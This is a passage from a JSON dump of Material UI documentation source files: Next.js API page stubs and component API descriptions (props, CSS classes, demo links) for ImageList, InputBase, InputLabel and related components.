'@mui/material/Icon';\", \"import { Icon } from '@mui/material';\"],\n  \"classes\": [\n    {\n      \"key\": \"colorAction\",\n      \"className\": \"MuiIcon-colorAction\",\n      \"description\": \"Styles applied to the root element if `color=\\\"action\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"colorDisabled\",\n      \"className\": \"MuiIcon-colorDisabled\",\n      \"description\": \"Styles applied to the root element if `color=\\\"disabled\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"colorError\",\n      \"className\": \"MuiIcon-colorError\",\n      \"description\": \"Styles applied to the root element if `color=\\\"error\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"colorPrimary\",\n      \"className\": \"MuiIcon-colorPrimary\",\n      \"description\": \"Styles applied to the root element if `color=\\\"primary\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"colorSecondary\",\n      \"className\": \"MuiIcon-colorSecondary\",\n      \"description\": \"Styles applied to the root element if `color=\\\"secondary\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"fontSizeInherit\",\n      \"className\": \"MuiIcon-fontSizeInherit\",\n      \"description\": \"Styles applied to the root element if `fontSize=\\\"inherit\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"fontSizeLarge\",\n      \"className\": \"MuiIcon-fontSizeLarge\",\n      \"description\": \"Styles applied to the root element if `fontSize=\\\"large\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"fontSizeSmall\",\n      \"className\": \"MuiIcon-fontSizeSmall\",\n      \"description\": \"Styles applied to the root element if `fontSize=\\\"small\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"root\",\n      \"className\": \"MuiIcon-root\",\n      \"description\": \"Styles applied to the root element.\",\n      \"isGlobal\": false\n    }\n  ],\n  \"spread\": true,\n  \"themeDefaultProps\": true,\n  \"muiName\": \"MuiIcon\",\n  \"forwardsRefTo\": \"HTMLSpanElement\",\n  \"filename\": \"/packages/mui-material/src/Icon/Icon.js\",\n  \"inheritance\": null,\n  \"demos\": \"<ul><li><a href=\\\"/material-ui/icons/\\\">Icons</a></li>\\n<li><a href=\\\"/material-ui/material-icons/\\\">Material Icons</a></li></ul>\",\n  \"cssComponent\": false\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/image-list-item-bar.js",
    "content": "import * as React from 'react';\nimport ApiPage from 'docs/src/modules/components/ApiPage';\nimport mapApiPageTranslations from 'docs/src/modules/utils/mapApiPageTranslations';\nimport jsonPageContent from './image-list-item-bar.json';\n\nexport default function Page(props) {\n  const { descriptions } = props;\n  return <ApiPage descriptions={descriptions} pageContent={jsonPageContent} />;\n}\n\nexport async function getStaticProps() {\n  const req = require.context(\n    'docs/translations/api-docs/image-list-item-bar',\n    false,\n    /\\.\\/image-list-item-bar.*\\.json$/,\n  );\n  const descriptions = mapApiPageTranslations(req);\n\n  return { props: { descriptions } };\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/image-list-item-bar.json",
    "content": "{\n  \"props\": {\n    \"actionIcon\": { \"type\": { \"name\": \"node\" } },\n    \"actionPosition\": {\n      \"type\": { \"name\": \"enum\", \"description\": \"'left'<br>&#124;&nbsp;'right'\" },\n      \"default\": \"'right'\"\n    },\n    \"classes\": { \"type\": { \"name\": \"object\" }, \"additionalInfo\": { \"cssApi\": true } },\n    \"position\": {\n      \"type\": {\n        \"name\": \"enum\",\n        \"description\": \"'below'<br>&#124;&nbsp;'bottom'<br>&#124;&nbsp;'top'\"\n      },\n      \"default\": \"'bottom'\"\n    },\n    \"subtitle\": { \"type\": { \"name\": \"node\" } },\n    \"sx\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"Array&lt;func<br>&#124;&nbsp;object<br>&#124;&nbsp;bool&gt;<br>&#124;&nbsp;func<br>&#124;&nbsp;object\"\n      },\n      \"additionalInfo\": { \"sx\": true }\n    },\n    \"title\": { \"type\": { \"name\": \"node\" } }\n  },\n  \"name\": \"ImageListItemBar\",\n  \"imports\": [\n    \"import ImageListItemBar from '@mui/material/ImageListItemBar';\",\n    \"import { ImageListItemBar } from '@mui/material';\"\n  ],\n  \"classes\": [\n    {\n      \"key\": \"actionIcon\",\n      \"className\": \"MuiImageListItemBar-actionIcon\",\n      \"description\": \"Styles applied to the actionIcon if supplied.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"actionPositionLeft\",\n      \"className\": \"MuiImageListItemBar-actionPositionLeft\",\n      \"description\": \"Styles applied to the action container element if `actionPosition=\\\"left\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"actionPositionRight\",\n      \"className\": \"MuiImageListItemBar-actionPositionRight\",\n      \"description\": \"Styles applied to the action container element if `actionPosition=\\\"right\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"positionBelow\",\n      \"className\": \"MuiImageListItemBar-positionBelow\",\n      \"description\": \"Styles applied to the root element if `position=\\\"below\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"positionBottom\",\n      \"className\": \"MuiImageListItemBar-positionBottom\",\n      \"description\": \"Styles applied to the root element if `position=\\\"bottom\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"positionTop\",\n      \"className\": \"MuiImageListItemBar-positionTop\",\n      \"description\": \"Styles applied to the root element if `position=\\\"top\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"root\",\n      \"className\": \"MuiImageListItemBar-root\",\n      \"description\": \"Styles applied to the root element.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"subtitle\",\n      \"className\": \"MuiImageListItemBar-subtitle\",\n      \"description\": \"Styles applied to the subtitle container element.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"title\",\n      \"className\": \"MuiImageListItemBar-title\",\n      \"description\": \"Styles applied to the title container element.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"titleWrap\",\n      \"className\": \"MuiImageListItemBar-titleWrap\",\n      \"description\": \"Styles applied to the title and subtitle container element.\",\n      \"isGlobal\": false\n    }\n  ],\n  \"spread\": true,\n  \"themeDefaultProps\": true,\n  \"muiName\": \"MuiImageListItemBar\",\n  \"forwardsRefTo\": \"HTMLDivElement\",\n  \"filename\": \"/packages/mui-material/src/ImageListItemBar/ImageListItemBar.js\",\n  \"inheritance\": null,\n  \"demos\": \"<ul><li><a href=\\\"/material-ui/react-image-list/\\\">Image List</a></li></ul>\",\n  \"cssComponent\": false\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/image-list-item.js",
    "content": "import * as React from 'react';\nimport ApiPage from 'docs/src/modules/components/ApiPage';\nimport mapApiPageTranslations from 'docs/src/modules/utils/mapApiPageTranslations';\nimport jsonPageContent from './image-list-item.json';\n\nexport default function Page(props) {\n  const { descriptions } = props;\n  return <ApiPage descriptions={descriptions} pageContent={jsonPageContent} />;\n}\n\nexport async function getStaticProps() {\n  const req = require.context(\n    'docs/translations/api-docs/image-list-item',\n    false,\n    /\\.\\/image-list-item.*\\.json$/,\n  );\n  const descriptions = mapApiPageTranslations(req);\n\n  return { props: { descriptions } };\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/image-list-item.json",
    "content": "{\n  \"props\": {\n    \"children\": { \"type\": { \"name\": \"node\" } },\n    \"classes\": { \"type\": { \"name\": \"object\" }, \"additionalInfo\": { \"cssApi\": true } },\n    \"cols\": { \"type\": { \"name\": \"custom\", \"description\": \"integer\" }, \"default\": \"1\" },\n    \"component\": { \"type\": { \"name\": \"elementType\" } },\n    \"rows\": { \"type\": { \"name\": \"custom\", \"description\": \"integer\" }, \"default\": \"1\" },\n    \"sx\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"Array&lt;func<br>&#124;&nbsp;object<br>&#124;&nbsp;bool&gt;<br>&#124;&nbsp;func<br>&#124;&nbsp;object\"\n      },\n      \"additionalInfo\": { \"sx\": true }\n    }\n  },\n  \"name\": \"ImageListItem\",\n  \"imports\": [\n    \"import ImageListItem from '@mui/material/ImageListItem';\",\n    \"import { ImageListItem } from '@mui/material';\"\n  ],\n  \"classes\": [\n    {\n      \"key\": \"img\",\n      \"className\": \"MuiImageListItem-img\",\n      \"description\": \"Styles applied to an `img` element to ensure it covers the item.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"masonry\",\n      \"className\": \"MuiImageListItem-masonry\",\n      \"description\": \"Styles applied to the root element if `variant=\\\"masonry\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"quilted\",\n      \"className\": \"MuiImageListItem-quilted\",\n      \"description\": \"Styles applied to the root element if `variant=\\\"quilted\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"root\",\n      \"className\": \"MuiImageListItem-root\",\n      \"description\": \"Styles applied to the root element.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"standard\",\n      \"className\": \"MuiImageListItem-standard\",\n      \"description\": \"Styles applied to the root element if `variant=\\\"standard\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"woven\",\n      \"className\": \"MuiImageListItem-woven\",\n      \"description\": \"Styles applied to the root element if `variant=\\\"woven\\\"`.\",\n      \"isGlobal\": false\n    }\n  ],\n  \"spread\": true,\n  \"themeDefaultProps\": true,\n  \"muiName\": \"MuiImageListItem\",\n  \"forwardsRefTo\": \"HTMLLIElement\",\n  \"filename\": \"/packages/mui-material/src/ImageListItem/ImageListItem.js\",\n  \"inheritance\": null,\n  \"demos\": \"<ul><li><a href=\\\"/material-ui/react-image-list/\\\">Image List</a></li></ul>\",\n  \"cssComponent\": false\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/image-list.js",
    "content": "import * as React from 'react';\nimport ApiPage from 'docs/src/modules/components/ApiPage';\nimport mapApiPageTranslations from 'docs/src/modules/utils/mapApiPageTranslations';\nimport jsonPageContent from './image-list.json';\n\nexport default function Page(props) {\n  const { descriptions } = props;\n  return <ApiPage descriptions={descriptions} pageContent={jsonPageContent} />;\n}\n\nexport async function getStaticProps() {\n  const req = require.context(\n    'docs/translations/api-docs/image-list',\n    false,\n    /\\.\\/image-list.*\\.json$/,\n  );\n  const descriptions = mapApiPageTranslations(req);\n\n  return { props: { descriptions } };\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/image-list.json",
    "content": "{\n  \"props\": {\n    \"children\": { \"type\": { \"name\": \"node\" }, \"required\": true },\n    \"classes\": { \"type\": { \"name\": \"object\" }, \"additionalInfo\": { \"cssApi\": true } },\n    \"cols\": { \"type\": { \"name\": \"custom\", \"description\": \"integer\" }, \"default\": \"2\" },\n    \"component\": { \"type\": { \"name\": \"elementType\" } },\n    \"gap\": { \"type\": { \"name\": \"number\" }, \"default\": \"4\" },\n    \"rowHeight\": {\n      \"type\": { \"name\": \"union\", \"description\": \"'auto'<br>&#124;&nbsp;number\" },\n      \"default\": \"'auto'\"\n    },\n    \"sx\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"Array&lt;func<br>&#124;&nbsp;object<br>&#124;&nbsp;bool&gt;<br>&#124;&nbsp;func<br>&#124;&nbsp;object\"\n      },\n      \"additionalInfo\": { \"sx\": true }\n    },\n    \"variant\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"'masonry'<br>&#124;&nbsp;'quilted'<br>&#124;&nbsp;'standard'<br>&#124;&nbsp;'woven'<br>&#124;&nbsp;string\"\n      },\n      \"default\": \"'standard'\"\n    }\n  },\n  \"name\": \"ImageList\",\n  \"imports\": [\n    \"import ImageList from '@mui/material/ImageList';\",\n    \"import { ImageList } from '@mui/material';\"\n  ],\n  \"classes\": [\n    {\n      \"key\": \"masonry\",\n      \"className\": \"MuiImageList-masonry\",\n      \"description\": \"Styles applied to the root element if `variant=\\\"masonry\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"quilted\",\n      \"className\": \"MuiImageList-quilted\",\n      \"description\": \"Styles applied to the root element if `variant=\\\"quilted\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"root\",\n      \"className\": \"MuiImageList-root\",\n      \"description\": \"Styles applied to the root element.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"standard\",\n      \"className\": \"MuiImageList-standard\",\n      \"description\": \"Styles applied to the root element if `variant=\\\"standard\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"woven\",\n      \"className\": \"MuiImageList-woven\",\n      \"description\": \"Styles applied to the root element if `variant=\\\"woven\\\"`.\",\n      \"isGlobal\": false\n    }\n  ],\n  \"spread\": true,\n  \"themeDefaultProps\": true,\n  \"muiName\": \"MuiImageList\",\n  \"forwardsRefTo\": \"HTMLUListElement\",\n  \"filename\": \"/packages/mui-material/src/ImageList/ImageList.js\",\n  \"inheritance\": null,\n  \"demos\": \"<ul><li><a href=\\\"/material-ui/react-image-list/\\\">Image List</a></li></ul>\",\n  \"cssComponent\": false\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/init-color-scheme-script.js",
    "content": "import * as React from 'react';\nimport ApiPage from 'docs/src/modules/components/ApiPage';\nimport mapApiPageTranslations from 'docs/src/modules/utils/mapApiPageTranslations';\nimport jsonPageContent from './init-color-scheme-script.json';\n\nexport default function Page(props) {\n  const { descriptions } = props;\n  return <ApiPage descriptions={descriptions} pageContent={jsonPageContent} />;\n}\n\nexport async function getStaticProps() {\n  const req = require.context(\n    'docs/translations/api-docs/init-color-scheme-script',\n    false,\n    /\\.\\/init-color-scheme-script.*\\.json$/,\n  );\n  const descriptions = mapApiPageTranslations(req);\n\n  return { props: { descriptions } };\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/init-color-scheme-script.json",
    "content": "{\n  \"props\": {\n    \"attribute\": { \"type\": { \"name\": \"string\" }, \"default\": \"'data-mui-color-scheme'\" },\n    \"colorSchemeNode\": { \"type\": { \"name\": \"string\" }, \"default\": \"'document.documentElement'\" },\n    \"colorSchemeStorageKey\": { \"type\": { \"name\": \"string\" }, \"default\": \"'mui-color-scheme'\" },\n    \"defaultDarkColorScheme\": { \"type\": { \"name\": \"string\" }, \"default\": \"'dark'\" },\n    \"defaultLightColorScheme\": { \"type\": { \"name\": \"string\" }, \"default\": \"'light'\" },\n    \"defaultMode\": {\n      \"type\": {\n        \"name\": \"enum\",\n        \"description\": \"'dark'<br>&#124;&nbsp;'light'<br>&#124;&nbsp;'system'\"\n      },\n      \"default\": \"'system'\"\n    },\n    \"modeStorageKey\": { \"type\": { \"name\": \"string\" }, \"default\": \"'mui-mode'\" },\n    \"nonce\": { \"type\": { \"name\": \"string\" } }\n  },\n  \"name\": \"InitColorSchemeScript\",\n  \"imports\": [\n    \"import InitColorSchemeScript from '@mui/material/InitColorSchemeScript';\",\n    \"import { InitColorSchemeScript } from '@mui/material';\"\n  ],\n  \"classes\": [],\n  \"spread\": true,\n  \"themeDefaultProps\": null,\n  \"muiName\": \"MuiInitColorSchemeScript\",\n  \"filename\": \"/packages/mui-material/src/InitColorSchemeScript/InitColorSchemeScript.tsx\",\n  \"inheritance\": null,\n  \"demos\": \"<ul><li><a href=\\\"/material-ui/react-init-color-scheme-script/\\\">InitColorSchemeScript</a></li></ul>\",\n  \"cssComponent\": false\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/input-adornment.js",
    "content": "import * as React from 'react';\nimport ApiPage from 'docs/src/modules/components/ApiPage';\nimport mapApiPageTranslations from 'docs/src/modules/utils/mapApiPageTranslations';\nimport jsonPageContent from './input-adornment.json';\n\nexport default function Page(props) {\n  const { descriptions } = props;\n  return <ApiPage descriptions={descriptions} pageContent={jsonPageContent} />;\n}\n\nexport async function getStaticProps() {\n  const req = require.context(\n    'docs/translations/api-docs/input-adornment',\n    false,\n    /\\.\\/input-adornment.*\\.json$/,\n  );\n  const descriptions = mapApiPageTranslations(req);\n\n  return { props: { descriptions } };\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/input-adornment.json",
    "content": "{\n  \"props\": {\n    \"position\": {\n      \"type\": { \"name\": \"enum\", \"description\": \"'end'<br>&#124;&nbsp;'start'\" },\n      \"required\": true\n    },\n    \"children\": { \"type\": { \"name\": \"node\" } },\n    \"classes\": { \"type\": { \"name\": \"object\" }, \"additionalInfo\": { \"cssApi\": true } },\n    \"component\": { \"type\": { \"name\": \"elementType\" } },\n    \"disablePointerEvents\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"disableTypography\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"sx\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"Array&lt;func<br>&#124;&nbsp;object<br>&#124;&nbsp;bool&gt;<br>&#124;&nbsp;func<br>&#124;&nbsp;object\"\n      },\n      \"additionalInfo\": { \"sx\": true }\n    },\n    \"variant\": {\n      \"type\": {\n        \"name\": \"enum\",\n        \"description\": \"'filled'<br>&#124;&nbsp;'outlined'<br>&#124;&nbsp;'standard'\"\n      }\n    }\n  },\n  \"name\": \"InputAdornment\",\n  \"imports\": [\n    \"import InputAdornment from '@mui/material/InputAdornment';\",\n    \"import { InputAdornment } from '@mui/material';\"\n  ],\n  \"classes\": [\n    {\n      \"key\": \"disablePointerEvents\",\n      \"className\": \"MuiInputAdornment-disablePointerEvents\",\n      \"description\": \"Styles applied to the root element if `disablePointerEvents={true}`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"filled\",\n      \"className\": \"MuiInputAdornment-filled\",\n      \"description\": \"Styles applied to the root element if `variant=\\\"filled\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"hiddenLabel\",\n      \"className\": \"MuiInputAdornment-hiddenLabel\",\n      \"description\": \"Styles applied if the adornment is used inside `<FormControl hiddenLabel />`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"outlined\",\n      \"className\": \"MuiInputAdornment-outlined\",\n      \"description\": \"Styles applied to the root element if `variant=\\\"outlined\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"positionEnd\",\n      \"className\": \"MuiInputAdornment-positionEnd\",\n      \"description\": \"Styles applied to the root element if `position=\\\"end\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"positionStart\",\n      \"className\": \"MuiInputAdornment-positionStart\",\n      \"description\": \"Styles applied to the root element if `position=\\\"start\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"root\",\n      \"className\": \"MuiInputAdornment-root\",\n      \"description\": \"Styles applied to the root element.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"sizeSmall\",\n      \"className\": \"MuiInputAdornment-sizeSmall\",\n      \"description\": \"Styles applied if the adornment is used inside `<FormControl size=\\\"small\\\" />`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"standard\",\n      \"className\": \"MuiInputAdornment-standard\",\n      \"description\": \"Styles applied to the root element if `variant=\\\"standard\\\"`.\",\n      \"isGlobal\": false\n    }\n  ],\n  \"spread\": true,\n  \"themeDefaultProps\": true,\n  \"muiName\": \"MuiInputAdornment\",\n  \"forwardsRefTo\": \"HTMLDivElement\",\n  \"filename\": \"/packages/mui-material/src/InputAdornment/InputAdornment.js\",\n  \"inheritance\": null,\n  \"demos\": \"<ul><li><a href=\\\"/material-ui/react-text-field/\\\">Text Field</a></li></ul>\",\n  \"cssComponent\": false\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/input-base.js",
    "content": "import * as React from 'react';\nimport ApiPage from 'docs/src/modules/components/ApiPage';\nimport mapApiPageTranslations from 'docs/src/modules/utils/mapApiPageTranslations';\nimport jsonPageContent from './input-base.json';\n\nexport default function Page(props) {\n  const { descriptions } = props;\n  return <ApiPage descriptions={descriptions} pageContent={jsonPageContent} />;\n}\n\nexport async function getStaticProps() {\n  const req = require.context(\n    'docs/translations/api-docs/input-base',\n    false,\n    /\\.\\/input-base.*\\.json$/,\n  );\n  const descriptions = mapApiPageTranslations(req);\n\n  return { props: { descriptions } };\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/input-base.json",
    "content": "{\n  \"props\": {\n    \"autoComplete\": { \"type\": { \"name\": \"string\" } },\n    \"autoFocus\": { \"type\": { \"name\": \"bool\" } },\n    \"classes\": { \"type\": { \"name\": \"object\" }, \"additionalInfo\": { \"cssApi\": true } },\n    \"color\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"'primary'<br>&#124;&nbsp;'secondary'<br>&#124;&nbsp;'error'<br>&#124;&nbsp;'info'<br>&#124;&nbsp;'success'<br>&#124;&nbsp;'warning'<br>&#124;&nbsp;string\"\n      }\n    },\n    \"defaultValue\": { \"type\": { \"name\": \"any\" } },\n    \"disabled\": { \"type\": { \"name\": \"bool\" } },\n    \"disableInjectingGlobalStyles\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"endAdornment\": { \"type\": { \"name\": \"node\" } },\n    \"error\": { \"type\": { \"name\": \"bool\" } },\n    \"fullWidth\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"id\": { \"type\": { \"name\": \"string\" } },\n    \"inputComponent\": {\n      \"type\": { \"name\": \"custom\", \"description\": \"element type\" },\n      \"default\": \"'input'\"\n    },\n    \"inputProps\": { \"type\": { \"name\": \"object\" }, \"default\": \"{}\" },\n    \"inputRef\": { \"type\": { \"name\": \"custom\", \"description\": \"ref\" } },\n    \"margin\": { \"type\": { \"name\": \"enum\", \"description\": \"'dense'<br>&#124;&nbsp;'none'\" } },\n    \"maxRows\": { \"type\": { \"name\": \"union\", \"description\": \"number<br>&#124;&nbsp;string\" } },\n    \"minRows\": { \"type\": { \"name\": \"union\", \"description\": \"number<br>&#124;&nbsp;string\" } },\n    \"multiline\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"name\": { \"type\": { \"name\": \"string\" } },\n    \"onBlur\": { \"type\": { \"name\": \"func\" } },\n    \"onChange\": {\n      \"type\": { \"name\": \"func\" },\n      \"signature\": {\n        \"type\": \"function(event: React.ChangeEvent<HTMLTextAreaElement | HTMLInputElement>) => void\",\n        \"describedArgs\": [\"event\"]\n      }\n    },\n    \"onInvalid\": { \"type\": { \"name\": \"func\" } },\n    \"placeholder\": { \"type\": { \"name\": \"string\" } },\n    \"readOnly\": { \"type\": { \"name\": \"bool\" } },\n    \"required\": { \"type\": { \"name\": \"bool\" } },\n    \"rows\": { \"type\": { \"name\": \"union\", \"description\": \"number<br>&#124;&nbsp;string\" } },\n    \"size\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"'medium'<br>&#124;&nbsp;'small'<br>&#124;&nbsp;string\"\n      }\n    },\n    \"slotProps\": {\n      \"type\": { \"name\": \"shape\", \"description\": \"{ input?: object, root?: object }\" },\n      \"default\": \"{}\"\n    },\n    \"slots\": {\n      \"type\": { \"name\": \"shape\", \"description\": \"{ input?: elementType, root?: elementType }\" },\n      \"default\": \"{}\"\n    },\n    \"startAdornment\": { \"type\": { \"name\": \"node\" } },\n    \"sx\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"Array&lt;func<br>&#124;&nbsp;object<br>&#124;&nbsp;bool&gt;<br>&#124;&nbsp;func<br>&#124;&nbsp;object\"\n      },\n      \"additionalInfo\": { \"sx\": true }\n    },\n    \"type\": { \"type\": { \"name\": \"string\" }, \"default\": \"'text'\" },\n    \"value\": { \"type\": { \"name\": \"any\" } }\n  },\n  \"name\": \"InputBase\",\n  \"imports\": [\n    \"import InputBase from '@mui/material/InputBase';\",\n    \"import { InputBase } from '@mui/material';\"\n  ],\n  \"classes\": [\n    {\n      \"key\": \"adornedEnd\",\n      \"className\": \"MuiInputBase-adornedEnd\",\n      \"description\": \"Styles applied to the root element if `endAdornment` is provided.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"adornedStart\",\n      \"className\": \"MuiInputBase-adornedStart\",\n      \"description\": \"Styles applied to the root element if `startAdornment` is provided.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"colorSecondary\",\n      \"className\": \"MuiInputBase-colorSecondary\",\n      \"description\": \"Styles applied to the root element if the color is secondary.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"disabled\",\n      \"className\": \"Mui-disabled\",\n      \"description\": \"Styles applied to the root element if `disabled={true}`.\",\n      \"isGlobal\": true\n    },\n    {\n      \"key\": \"error\",\n      \"className\": \"Mui-error\",\n      \"description\": \"State class applied to the root element if `error={true}`.\",\n      \"isGlobal\": true\n    },\n    {\n      \"key\": \"focused\",\n      \"className\": \"Mui-focused\",\n      \"description\": \"Styles applied to the root element if the component is focused.\",\n      \"isGlobal\": true\n    },\n    {\n      \"key\": \"formControl\",\n      \"className\": \"MuiInputBase-formControl\",\n      \"description\": \"Styles applied to the root element if the component is a descendant of `FormControl`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"fullWidth\",\n      \"className\": \"MuiInputBase-fullWidth\",\n      \"description\": \"Styles applied to the root element if `fullWidth={true}`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"hiddenLabel\",\n      \"className\": \"MuiInputBase-hiddenLabel\",\n      \"description\": \"Styles applied to the root element if `hiddenLabel={true}`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"input\",\n      \"className\": \"MuiInputBase-input\",\n      \"description\": \"Styles applied to the input element.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"inputTypeSearch\",\n      \"className\": \"MuiInputBase-inputTypeSearch\",\n      \"description\": \"\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"multiline\",\n      \"className\": \"MuiInputBase-multiline\",\n      \"description\": \"Styles applied to the root element if `multiline={true}`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"readOnly\",\n      \"className\": \"Mui-readOnly\",\n      \"description\": \"State class applied to the root element if `readOnly={true}`.\",\n      \"isGlobal\": true\n    },\n    {\n      \"key\": \"root\",\n      \"className\": \"MuiInputBase-root\",\n      \"description\": \"Styles applied to the root element.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"sizeSmall\",\n      \"className\": \"MuiInputBase-sizeSmall\",\n      \"description\": \"Styles applied to the input element if `size=\\\"small\\\"`.\",\n      \"isGlobal\": false\n    }\n  ],\n  \"spread\": true,\n  \"themeDefaultProps\": true,\n  \"muiName\": \"MuiInputBase\",\n  \"forwardsRefTo\": \"HTMLDivElement\",\n  \"filename\": \"/packages/mui-material/src/InputBase/InputBase.js\",\n  \"inheritance\": null,\n  \"demos\": \"<ul><li><a href=\\\"/material-ui/react-text-field/\\\">Text Field</a></li></ul>\",\n  \"cssComponent\": false\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/input-label.js",
    "content": "import * as React from 'react';\nimport ApiPage from 'docs/src/modules/components/ApiPage';\nimport mapApiPageTranslations from 'docs/src/modules/utils/mapApiPageTranslations';\nimport jsonPageContent from './input-label.json';\n\nexport default function Page(props) {\n  const { descriptions } = props;\n  return <ApiPage descriptions={descriptions} pageContent={jsonPageContent} />;\n}\n\nexport async function getStaticProps() {\n  const req = require.context(\n    'docs/translations/api-docs/input-label',\n    false,\n    /\\.\\/input-label.*\\.json$/,\n  );\n  const descriptions = mapApiPageTranslations(req);\n\n  return { props: { descriptions } };\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/input-label.json",
    "content": "{\n  \"props\": {\n    \"children\": { \"type\": { \"name\": \"node\" } },\n    \"classes\": { \"type\": { \"name\": \"object\" }, \"additionalInfo\": { \"cssApi\": true } },\n    \"color\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"'error'<br>&#124;&nbsp;'info'<br>&#124;&nbsp;'primary'<br>&#124;&nbsp;'secondary'<br>&#124;&nbsp;'success'<br>&#124;&nbsp;'warning'<br>&#124;&nbsp;string\"\n      }\n    },\n    \"disableAnimation\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"disabled\": { \"type\": { \"name\": \"bool\" } },\n    \"error\": { \"type\": { \"name\": \"bool\" } },\n    \"focused\": { \"type\": { \"name\": \"bool\" } },\n    \"margin\": { \"type\": { \"name\": \"enum\", \"description\": \"'dense'\" } },\n    \"required\": { \"type\": { \"name\": \"bool\" } },\n    \"shrink\": { \"type\": { \"name\": \"bool\" } },\n    \"size\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"'medium'<br>&#124;&nbsp;'small'<br>&#124;&nbsp;string\"\n      },\n      \"default\": \"'medium'\"\n    },\n    \"sx\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"Array&lt;func<br>&#124;&nbsp;object<br>&#124;&nbsp;bool&gt;<br>&#124;&nbsp;func<br>&#124;&nbsp;object\"\n      },\n      \"additionalInfo\": { \"sx\": true }\n    },\n    \"variant\": {\n      \"type\": {\n        \"name\": \"enum\",\n        \"description\": \"'filled'<br>&#124;&nbsp;'outlined'<br>&#124;&nbsp;'standard'\"\n      }\n    }\n  },\n  \"name\": \"InputLabel\",\n  \"imports\": [\n    \"import InputLabel from '@mui/material/InputLabel';\",\n    \"import { InputLabel } from '@mui/material';\"\n  ],\n  \"classes\": [\n    {\n      \"key\": \"animated\",\n      \"className\": \"MuiInputLabel-animated\",\n      \"description\": \"Styles applied to the input element unless `disableAnimation={true}`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"asterisk\",\n      \"className\": \"MuiInputLabel-asterisk\",\n      \"description\": \"State class applied to the asterisk element.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"disabled\",\n      \"className\": \"Mui-disabled\",\n      \"description\": \"State class applied to the root element if 